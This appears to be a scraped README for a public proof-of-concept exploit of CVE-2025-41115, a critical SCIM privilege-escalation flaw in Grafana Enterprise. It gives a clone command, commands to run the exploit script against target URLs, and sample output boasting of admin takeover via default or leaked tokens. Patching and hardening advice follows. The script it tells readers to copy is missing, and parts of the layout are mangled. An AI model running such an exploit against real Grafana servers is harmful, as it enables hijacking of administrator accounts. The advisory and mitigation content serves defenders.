
CVE-2025-41115

Critical SCIM Privilege-Escalation Vulnerability in Grafana Enterprise
CVE-2025-41115 is a Critical (CVSS 10.0) vulnerability in Grafana Enterprise affecting its SCIM user-provisioning feature.
When SCIM provisioning is enabled and user_sync_enabled = true, a malicious SCIM client can send a numeric externalId, which Grafana mistakenly maps to an internal user ID — allowing an attacker to impersonate or overwrite existing accounts, including admins.
⚠️ Grafana OSS is NOT affected.
Conditions required for exploitation:
enableSCIM = true[auth.scim] user_sync_enabled = true| Version | Status |
|---|---|
| 12.0.0 → 12.2.1 | ❌ Vulnerable |
| 12.3.0 | ✅ Patched |
| 12.2.1 (patched build) | ✅ Patched |
| 12.1.3 | ✅ Patched |
💡 Managed Grafana services (AWS/Azure/Grafana Cloud) were patched by the vendors.
sudo git clone https://github.com/B1ack4sh/Blackash-CVE-2025-41115.git
or just copy-paste the script above into a file
chmod +x CVE-2025-41115.py
python3 CVE-2025-41115.py http://10.10.13.37:3000
# or
python3 CVE-2025-41115.py https://grafana.company.com
When the exploit actually works (i.e., the target is vulnerable and the token is valid), you will see output exactly like this: text
[*] CVE-2025-41115 → Targeting http://10.10.13.37:3000
[*] Trying default/leaked tokens + your token...
[+] PWNED with token → glsa_XxXxXxXxXxXxXxXxXxXx...
[+] Login as: [email protected] (any password) → you are now Admin!
[+] Full response: {
"schemas": [
"urn:ietf:params:scim:schemas:core:2.0:User"
],
"id": "1", ←←← THIS IS THE KEY LINE (UID 1 overwritten)
"externalId": "1",
"meta": { ... },
"userName": "[email protected]",
"name": {
"formatted": "Pwned User"
},
"emails": [
{
"value": "[email protected]",
"primary": true
}
],
"active": true
}
Update to 12.3.0 or one of the patched maintenance releases.
If you’re not using SCIM provisioning, ensure you have:
enableSCIM = false
or
[auth.scim]
user_sync_enabled = false
Look for:
externalId usageEnsure only trusted identity providers are allowed to talk to your SCIM endpoint.
Watch for suspicious logins, user creation events, or admin takeovers.
This PoC is for authorized security testing and educational use only in systems you own or have explicit written permission to test. Unauthorized use is illegal and may result in criminal prosecution. The author and distributor assume no liability for misuse. Patch immediately (≥12.0.6 / 12.3.0+).
| 12.0.6 | ✅ Patched |